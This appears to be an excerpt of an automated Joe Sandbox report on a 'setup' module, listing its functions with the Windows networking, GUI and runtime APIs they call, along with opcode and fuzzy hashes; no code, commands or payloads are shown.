GetDesktopWindow.USER32 ref: 10014FCD
__CxxThrowException@8.LIBCMT ref: 1001502C
__CxxThrowException@8.LIBCMT ref: 100150A1
__CxxThrowException@8.LIBCMT ref: 10014EB2

Part of subcall function 100172FB: RaiseException.KERNEL32(?,?,100163B9,0000001B,?,?,?,?,100163B9,0000001B,10031154,10035B80), ref: 1001733B

__CxxThrowException@8.LIBCMT ref: 100150E5

Strings

HEAD, xrefs: 10014DE2

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: Exception@8Throw$Http$DesktopInternetOpenQueryRequestWindow$ConnectErrorExceptionFileInfoLastOptionRaiseSend
String ID: HEAD
API String ID: 9595896-2439387944
Opcode ID: b176338d989ef2999aeef8d0e07413da43b2523cfcb7dbe21d59c05265ec62d5
Instruction ID: 4961a47874f1e64aaa825ffcf824312cfdd3d316e9340cddcd447ff5fe2b7e81
Opcode Fuzzy Hash: b176338d989ef2999aeef8d0e07413da43b2523cfcb7dbe21d59c05265ec62d5
Instruction Fuzzy Hash: 72D18E71508281EFE765DB64C885BDBB3E8FF88340F424A1DF5899B251DB30E984CB92

Uniqueness

Uniqueness Score: -1.00%

Function 10015270 Relevance: 4.6, APIs: 3, Instructions: 61
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FtpGetFileSize.WININET(?,?), ref: 1001528B
HttpQueryInfoW.WININET(?,20000005,?,?,?), ref: 100152CC
InternetCloseHandle.WININET(?,?,?), ref: 100152F8

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: CloseFileHandleHttpInfoInternetQuerySize
String ID:
API String ID: 226181321-0
Opcode ID: 0d3d431d02d13eb631ab845ceb52211a2e849c2c398170d6d6d31d0493466ff2
Instruction ID: dc56027d2b3e995e5ad89aaf166287dec5362c47f6cc9a2c7ffb18478ede3b62
Opcode Fuzzy Hash: 0d3d431d02d13eb631ab845ceb52211a2e849c2c398170d6d6d31d0493466ff2
Instruction Fuzzy Hash: 811158726007019FE310DF7ACC84B97B7EAFB88365F544A2DE969C6240D735EA098A21

Uniqueness

Uniqueness Score: -1.00%

Function 1000BD60 Relevance: 4.6, APIs: 3, Instructions: 57
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 1000BD8B
GetModuleHandleW.KERNEL32(1002FB08,00000000,00000400,?,00000400,00000000,?,?,?), ref: 1000BDB8
FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,?,00000400,00000000,?,?,?), ref: 1000BDD8

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: FormatHandleMessageModule_memset
String ID:
API String ID: 528496211-0
Opcode ID: 641c02cdf6b1c3ea3ac4b7ebe153d9790acec2ce9780dbf4cbaa504a6af753cb
Instruction ID: ea32fb2d03ec7ea52ee66ad42e43dc4259e8ba20c7931cce353fc1f417f33f35
Opcode Fuzzy Hash: 641c02cdf6b1c3ea3ac4b7ebe153d9790acec2ce9780dbf4cbaa504a6af753cb
Instruction Fuzzy Hash: 6D116DB4204345AEE360DF00CC46F9BB7E4FF84744F40890DF6899A1C0EBB0A548CB96

Uniqueness

Uniqueness Score: -1.00%

Function 10014A60 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 105
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetConnectW.WININET(?,?,?,?,?,?,?,00000000), ref: 10014B94

Strings

HEAD, xrefs: 10014A7F

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: ConnectInternet
String ID: HEAD
API String ID: 3050416762-2439387944
Opcode ID: 1a8cbd4da4c9ebd03d6eb2aa36ee30cc070518dff073ca06a96ed9d69ad17bef
Instruction ID: 6df738f56d5f8485bf5c612103b9721acc1a3f9d406b5f3b4e663a23c2a59b4b
Opcode Fuzzy Hash: 1a8cbd4da4c9ebd03d6eb2aa36ee30cc070518dff073ca06a96ed9d69ad17bef
Instruction Fuzzy Hash: AC41A0756087428BC720CF68C9917E7B3F1FF98340F464A19E98A4B254EB74F945C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 100022C0 Relevance: 3.3, APIs: 2, Instructions: 260
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 1000237D
InternetCloseHandle.WININET(?), ref: 1000262C

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: CloseCountHandleInternetTick
String ID:
API String ID: 2686910609-0
Opcode ID: 786496f3ec29f4a0e81eeba74c855d3b75afafdb6e933cf7197a66d396c6c118
Instruction ID: bb3f74a373d724789365632a767aa41394959faed785c3d856131be155fb5f86
Opcode Fuzzy Hash: 786496f3ec29f4a0e81eeba74c855d3b75afafdb6e933cf7197a66d396c6c118
Instruction Fuzzy Hash: 00A1DF70904741AFE720DF28C88179AB7E4FF84794F10865DF8585B28ACB35B945CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 1001D175 Relevance: 3.0, APIs: 2, Instructions: 28
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNEL32(00000000,00001000,00000000,10017033,00000001), ref: 1001D186
HeapDestroy.KERNEL32 ref: 1001D1BC

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: Heap$CreateDestroy
String ID:
API String ID: 3296620671-0
Opcode ID: 48e2bec806d357bedf753437c516d499571bbe509e4722c9226f1084237be56c
Instruction ID: 6d484d8e7e5b26b048335d8c4c7e9b473a5ec36579d594f1fc96b042034804ff
Opcode Fuzzy Hash: 48e2bec806d357bedf753437c516d499571bbe509e4722c9226f1084237be56c
Instruction Fuzzy Hash: 8EE09271664362BEF712FB318D9531B36D8E704387F205837F400CD0A5EB70C5809A01

Uniqueness

Uniqueness Score: -1.00%

Function 10014750 Relevance: 1.7, APIs: 1, Instructions: 172
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 100057A0: _memcpy_s.LIBCMT ref: 10005816

InternetCrackUrlW.WININET(00000000,00000000,00000000,?), ref: 1001493D

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: CrackInternet_memcpy_s
String ID:
API String ID: 4202126888-0
Opcode ID: aa0c5d251f72395c81219fd760ccf8477a2c8e234cad06a9f03a77fc13cf73a8
Instruction ID: ec42b997682a64ee85119828b2b830d73c608ac721b1f27813a0f2a3221d2a6d
Opcode Fuzzy Hash: aa0c5d251f72395c81219fd760ccf8477a2c8e234cad06a9f03a77fc13cf73a8
Instruction Fuzzy Hash: C9515DB15153889BDB34CF28C9467DEBBE8EF88740F10452EF8498F365DB759A408B91

Uniqueness

Uniqueness Score: -1.00%

Function 10001E00 Relevance: 1.6, APIs: 1, Instructions: 60
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(?,?,?,00000000,00000000), ref: 10001E55

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: 091553d1e3430021d0bcf00a61016cf1fd0702b521947ea1bf03e3b1310bf93d
Instruction ID: f61956872991c7a5d8167a90b4ed801161299ca992cf5d69d2feabbd60d4c042
Opcode Fuzzy Hash: 091553d1e3430021d0bcf00a61016cf1fd0702b521947ea1bf03e3b1310bf93d
Instruction Fuzzy Hash: D6111A70240B81DBE374CA70CC49FEBB3E8FB84791F104A2DA6A6961C0D7B4B8459B10

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 10020598 Relevance: 66.4, APIs: 44, Instructions: 431COMMONLIBRARYCODE

Download Yara Rule

APIs

___getlocaleinfo.LIBCMT ref: 100205CD
___getlocaleinfo.LIBCMT ref: 100205E2
___getlocaleinfo.LIBCMT ref: 100205F7
___getlocaleinfo.LIBCMT ref: 1002060C
___getlocaleinfo.LIBCMT ref: 10020624
___getlocaleinfo.LIBCMT ref: 10020639
___getlocaleinfo.LIBCMT ref: 1002064B
___getlocaleinfo.LIBCMT ref: 10020660
___getlocaleinfo.LIBCMT ref: 10020678
___getlocaleinfo.LIBCMT ref: 1002068D

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: ___getlocaleinfo
String ID:
API String ID: 1937885557-0
Opcode ID: cb070a9089c2bf068264277ddf36e8c6a173ac74e458a66ae43c8b30df18aaeb
Instruction ID: c32f1b461fe5fb6fcd40ee7f0e7993fce85ad8667b7e39b63d9a02a866f3d2d4
Opcode Fuzzy Hash: cb070a9089c2bf068264277ddf36e8c6a173ac74e458a66ae43c8b30df18aaeb
Instruction Fuzzy Hash: 1CE1DFB290020DBEEB11DBE1CC41EFF77BEFB44744F54496AB215D2042EA70BA059B60

Uniqueness

Uniqueness Score: -1.00%

Function 10003A90 Relevance: 8.3, APIs: 5, Instructions: 759networkfileCOMMON

Download Yara Rule

APIs

FtpSetCurrentDirectoryW.WININET(?,?), ref: 10003BCE
FtpFindFirstFileW.WININET(?,?,?,00000000,00000000), ref: 10003C0E
InternetFindNextFileW.WININET(?,?), ref: 10003E58

Part of subcall function 100056E0: _memcpy_s.LIBCMT ref: 10005764

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: FileFind$CurrentDirectoryFirstInternetNext_memcpy_s
String ID:
API String ID: 729902299-0
Opcode ID: 2017356b94722ae27a99bf0c0583569677fdcd15a0b06add59209200b42df041
Instruction ID: 373eebeb61dc72f6e26dd6fae0a732c19aab98e446017e2482c8a3ee82184b98
Opcode Fuzzy Hash: 2017356b94722ae27a99bf0c0583569677fdcd15a0b06add59209200b42df041
Instruction Fuzzy Hash: 6062C3B54083809BE720DF28C841B9FBBE8EF85354F518A1DF59847292DB31E905CBA3

Uniqueness

Uniqueness Score: -1.00%

Function 10015D38 Relevance: 7.6, APIs: 5, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 10019E03
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 10019E18
UnhandledExceptionFilter.KERNEL32(1002DC98), ref: 10019E23
GetCurrentProcess.KERNEL32(C0000409), ref: 10019E3F
TerminateProcess.KERNEL32(00000000), ref: 10019E46

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 552d116a7c3e93788366756815bd0865783a89be6c04afbf5f266c767dd25a1e
Instruction ID: 58e165609b1515e4a44deb5bb1dff54dee895da02add5d510db2c793db90f772
Opcode Fuzzy Hash: 552d116a7c3e93788366756815bd0865783a89be6c04afbf5f266c767dd25a1e
Instruction Fuzzy Hash: CF21B574425324DFE312DF69DCC56497BB4FB0830AF61605AE5099F372EBB299828F05

Uniqueness

Uniqueness Score: -1.00%

Function 1001F4AF Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

__decode_pointer.LIBCMT ref: 1001F4BD
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 1001F4C4

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: ExceptionFilterUnhandled__decode_pointer
String ID:
API String ID: 3341406909-0
Opcode ID: d4c99c7621abef68bd72d57bba3ce6cbe9ff0b1e6c9675a24bd2495161e70739
Instruction ID: d1e42604fe380e0e15599b5a347cb0e673536e51b6b4950fc816f9bdc0fba336
Opcode Fuzzy Hash: d4c99c7621abef68bd72d57bba3ce6cbe9ff0b1e6c9675a24bd2495161e70739
Instruction Fuzzy Hash: DEC08C088082C00EE703D3344CAC30C3A48A70B00BFD88599D8808C163CA69C0808121

Uniqueness

Uniqueness Score: -1.00%

Function 10022AA9 Relevance: .4, Instructions: 384COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction ID: e457e5a99bbc8e426643c59ddf95c7e76d2b647b316445e96657cf3ec8024732
Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction Fuzzy Hash: 8CD19073C1A9F30A8776C16E656812EEEA2AFD168036BC3E1DCD43F28DD2275D0096D0

Uniqueness

Uniqueness Score: -1.00%

Function 10022689 Relevance: .4, Instructions: 378COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction ID: 0d0077ba12e47f9950b3fc41dc720fbc27b0010c29e1ea480389db63c8943203
Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction Fuzzy Hash: B8D1BF73C1E9F30A8776C16E655826EEAA2AFD169036BC3E1DCD03F289D6279D0091D0

Uniqueness

Uniqueness Score: -1.00%

Function 1002227D Relevance: .4, Instructions: 361COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction ID: ee3691c63750d0237aa4e5eab5fc64cc46c1651606339d0d45c6bff9203a4b6c
Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction Fuzzy Hash: 5EC1AF73C1A9F30A8776C16E656816EEEA2AFD169036BC3E1CCD43F28DD2275D0496D0

Uniqueness

Uniqueness Score: -1.00%

Function 10021EA9 Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction ID: d8d84a3334a4ccce040cca9697698496fc1ac06721c4a1b1ef0d70a6b3a368e9
Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction Fuzzy Hash: EFC1CF77C1A9F30A8775C16E555866FEEA2AFD168036BC3E08CE43F28DD6275D0492D0

Uniqueness

Uniqueness Score: -1.00%

Function 100081D0 Relevance: 19.8, APIs: 13, Instructions: 314COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003EC), ref: 10008233
GetDlgItem.USER32(?,000003ED), ref: 1000824B
GetDlgItem.USER32(00000000,000003E9), ref: 10008263
GetDlgItem.USER32(?,00000005), ref: 10008278
GetDlgItem.USER32(?,00000004), ref: 1000828D
GetDlgItem.USER32(00000000,00000003), ref: 100082A2
GetDlgItem.USER32(00000400,00000004), ref: 1000835A
GetDlgItem.USER32(00000400,00000005), ref: 100083BF
GetDlgItem.USER32(00000400,00000003), ref: 10008424
GetDlgItem.USER32(00000400,000003EC), ref: 100084C5
SetWindowTextW.USER32(00000000), ref: 100084CC
GetDlgItem.USER32(00000400,000003ED), ref: 10008581
SetWindowTextW.USER32(00000000), ref: 10008588

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: Item$TextWindow
String ID:
API String ID: 4159597273-0
Opcode ID: cf9240ee546b9549e02d2ce7a970709ca3b427b08633f8d07a2583727480f05a
Instruction ID: d90b6b245e80e7b438b1392f255b0277f170bb1ad66301e690c0dda43a5fafcf
Opcode Fuzzy Hash: cf9240ee546b9549e02d2ce7a970709ca3b427b08633f8d07a2583727480f05a
Instruction Fuzzy Hash: 8CC19AB5504340AFEB10EF64CC89F5BB7A9FB88740F50491EF6859B281CB75E906CB92

Uniqueness

Uniqueness Score: -1.00%

Function 1001A998 Relevance: 19.6, APIs: 13, Instructions: 109memorythreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(1002DCB0,?,10017041), ref: 1001A99E
__mtterm.LIBCMT ref: 1001A9AA

Part of subcall function 1001A682: __decode_pointer.LIBCMT ref: 1001A693
Part of subcall function 1001A682: TlsFree.KERNEL32(10034274,100170DD), ref: 1001A6AD

TlsAlloc.KERNEL32 ref: 1001AA37
__init_pointers.LIBCMT ref: 1001AA5C
__encode_pointer.LIBCMT ref: 1001AA67
__encode_pointer.LIBCMT ref: 1001AA77
__encode_pointer.LIBCMT ref: 1001AA87
__encode_pointer.LIBCMT ref: 1001AA97
__decode_pointer.LIBCMT ref: 1001AAB8
__calloc_crt.LIBCMT ref: 1001AAD1
__decode_pointer.LIBCMT ref: 1001AAEB
GetCurrentThreadId.KERNEL32 ref: 1001AB01

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: __encode_pointer$__decode_pointer$AllocCurrentFreeHandleModuleThread__calloc_crt__init_pointers__mtterm
String ID:
API String ID: 802150526-0
Opcode ID: 77bfa07764ed1b3f2209af6693d84df0119747320c378b3c2f1fa3369d1063f5
Instruction ID: a6f27df6961955168b74ffd5b6c6923d506fa763491db916df12e9a3f6d2876d
Opcode Fuzzy Hash: 77bfa07764ed1b3f2209af6693d84df0119747320c378b3c2f1fa3369d1063f5
Instruction Fuzzy Hash: 2031D335914371AEEB06EF349D86A053AE6EB42396B61012BF4009E1B3DBB2DDC1CF50

Uniqueness

Uniqueness Score: -1.00%

Function 10018A19 Relevance: 15.1, APIs: 10, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 10018A2F

Part of subcall function 10019173: __calloc_impl.LIBCMT ref: 10019181
Part of subcall function 10019173: Sleep.KERNEL32(00000000), ref: 10019198

__calloc_crt.LIBCMT ref: 10018A52
__calloc_crt.LIBCMT ref: 10018A6E
__copytlocinfo_nolock.LIBCMT ref: 10018A93
__setlocale_nolock.LIBCMT ref: 10018AA2
___removelocaleref.LIBCMT ref: 10018AAE
___freetlocinfo.LIBCMT ref: 10018AB5
__setmbcp_nolock.LIBCMT ref: 10018ACD
___removelocaleref.LIBCMT ref: 10018AE2
___freetlocinfo.LIBCMT ref: 10018AE9

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: __calloc_crt$___freetlocinfo___removelocaleref$Sleep__calloc_impl__copytlocinfo_nolock__setlocale_nolock__setmbcp_nolock
String ID:
API String ID: 2969281212-0
Opcode ID: 67cb6fda7c273e75f5c91c709d70bf0c7129cc6810b2223e9389606dbc26ae68
Instruction ID: 6be3e98cece85592ac861de0b6210510e86832f343650200795cffbd614202ea
Opcode Fuzzy Hash: 67cb6fda7c273e75f5c91c709d70bf0c7129cc6810b2223e9389606dbc26ae68
Instruction Fuzzy Hash: 76219279108242AFFA26DF64DC0291EBBE5EF84751F21441EF8849E162EF71EEC08752

Uniqueness

Uniqueness Score: -1.00%

Function 1001CD39 Relevance: 13.8, APIs: 9, Instructions: 277COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 1001CC75
__malloc_crt.LIBCMT ref: 1001CD4F

Part of subcall function 10019133: _malloc.LIBCMT ref: 1001913B
Part of subcall function 10019133: Sleep.KERNEL32(00000000,00000001,?,1001D343,00000018,10030D18,0000000C,1001D3D2,?,?,?,100233DA,00000004,10030F18,0000000C,10019186), ref: 10019150

__decode_pointer.LIBCMT ref: 1001CD9D
__decode_pointer.LIBCMT ref: 1001CDC4
__decode_pointer.LIBCMT ref: 1001CDE4
_write_multi_char.LIBCMT ref: 1001CFD7
_write_string.LIBCMT ref: 1001CFEB
_write_multi_char.LIBCMT ref: 1001D004

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: __decode_pointer$_write_multi_char$Sleep__malloc_crt_malloc_strlen_write_string
String ID:
API String ID: 785859804-0
Opcode ID: b36365ef274d595e5e009ac3952a8a936ae2a2d972d8fcd5712580348aeb0e21
Instruction ID: 1da8678e1d1edb4dd74044e590032a998826e6e6d125c6a2688f4f7df2886106
Opcode Fuzzy Hash: b36365ef274d595e5e009ac3952a8a936ae2a2d972d8fcd5712580348aeb0e21
Instruction Fuzzy Hash: 10B15871C0021E9ADB11EFA4D985BEDBBF4EF08354F20402AE805BE291D775DAC5CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1001CCA2 Relevance: 12.3, APIs: 8, Instructions: 325COMMON

Download Yara Rule

APIs

_write_multi_char.LIBCMT ref: 1001CFD7
_write_string.LIBCMT ref: 1001CFEB
_write_multi_char.LIBCMT ref: 1001D004
_write_multi_char.LIBCMT ref: 1001D082

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: _write_multi_char$_write_string
String ID:
API String ID: 2640999400-0
Opcode ID: 1211a15c03ccd78a407de36d322ff4764b6374c79448135f321bba0a2431f47f
Instruction ID: 658c7c3f94c38e62fce2abc14e207fbff29e5dbef90dfa3455e5b4fefe10a57e
Opcode Fuzzy Hash: 1211a15c03ccd78a407de36d322ff4764b6374c79448135f321bba0a2431f47f
Instruction Fuzzy Hash: 62C15871C0025E9ADB11DFA4C985BEDBBF4EB08358F20402AE905BE291D775DEC5CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1001604E Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 73threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 10016081
__calloc_crt.LIBCMT ref: 1001608D
CreateThread.KERNEL32(00000000,?,`F,00000000,00000004,00000000), ref: 100160C0
ResumeThread.KERNEL32(00000000), ref: 100160D0
GetLastError.KERNEL32 ref: 100160DB
__dosmaperr.LIBCMT ref: 100160F3

Part of subcall function 100177C4: __getptd_noexit.LIBCMT ref: 100177C4

Part of subcall function 1001620B: __decode_pointer.LIBCMT ref: 10016214

Strings

`F, xrefs: 10015FDA, 100160B1

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: Thread$CreateErrorLastResume___set_flsgetvalue__calloc_crt__decode_pointer__dosmaperr__getptd_noexit
String ID: `F
API String ID: 4018905736-510860190
Opcode ID: e5029b0ab16c5fefcb9aa95d2cb06d6275a5c5849daf7750417263052e85ab48
Instruction ID: a6cc9a8803a58b07c0cdb89747a902216aba93adc943b31b7f6550f4a3dc1f1e
Opcode Fuzzy Hash: e5029b0ab16c5fefcb9aa95d2cb06d6275a5c5849daf7750417263052e85ab48
Instruction Fuzzy Hash: 91113175901210BFDB21EFB48C8688FBBA8FF48374B21022AF5159F1D1DB71E9C18660

Uniqueness

Uniqueness Score: -1.00%

Function 1001CCD6 Relevance: 12.3, APIs: 8, Instructions: 271COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac8c255139e5d474570061d1aadedec86ecc02d3efda8078ce6c254de5850919
Instruction ID: 074fed0a38aff72566bbe03f2808f0e4e80eeb84b875cca63601fdc777343f46
Opcode Fuzzy Hash: ac8c255139e5d474570061d1aadedec86ecc02d3efda8078ce6c254de5850919
Instruction Fuzzy Hash: 8AA16971C0025E9ADB11EFA4D984BEDBBF4EF08354F20402AE805BE191D775DAC6DB61

Uniqueness

Uniqueness Score: -1.00%

Function 1001CCEE Relevance: 12.3, APIs: 8, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d521a94620a0ed89f8b87df2878b76e61da765f1dab21d671b29ec244e41150c
Instruction ID: b7c35f3b66037c805eb5449063391554bce262784df755f4fad8970b0abf8de0
Opcode Fuzzy Hash: d521a94620a0ed89f8b87df2878b76e61da765f1dab21d671b29ec244e41150c
Instruction Fuzzy Hash: 69A15871C0021E9ADB11EFA8D984BEDBBF4EF08354F20402AE805BE291D775DAC5DB61

Uniqueness

Uniqueness Score: -1.00%

Function 1001CD25 Relevance: 12.3, APIs: 8, Instructions: 264COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 1001CC75
__decode_pointer.LIBCMT ref: 1001CD9D
__decode_pointer.LIBCMT ref: 1001CDC4
__decode_pointer.LIBCMT ref: 1001CDE4
_write_multi_char.LIBCMT ref: 1001CFD7
_write_string.LIBCMT ref: 1001CFEB
_write_multi_char.LIBCMT ref: 1001D004

Memory Dump Source

Source File: 00000004.00000002.4559068619.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: __decode_pointer$_write_multi_char$_strlen_write_string
String ID:
API String ID: 4088299054-0
Opcode ID: 476dfb1d33abe52d8b62a583c15a02e3f0764789bb2d6fe9871f939d93c3d602
Instruction ID: c2b070dd03d82076a5df1495e61f3aa54dab514c14bbc563e68e0c9d8bdd64a3
Opcode Fuzzy Hash: 476dfb1d33abe52d8b62a583c15a02e3f0764789bb2d6fe9871f939d93c3d602
Instruction Fuzzy Hash: 6BA16871C0021E9ADF11EFA4D984BEDBBF4EB08358F20402AE805BE191D775DAC5DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 10011610 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 10011642
SelectObject.GDI32(00000000), ref: 10011685
GetTextExtentPoint32W.GDI32(00000000,?,?,?), ref: 100116BE
ReleaseDC.USER32(0000000F,00000000), ref: 100116C6
GetWindowRect.USER32(0000000F,1003424C), ref: 100116D2
GetParent.USER32(0000000F), ref: 100116E0
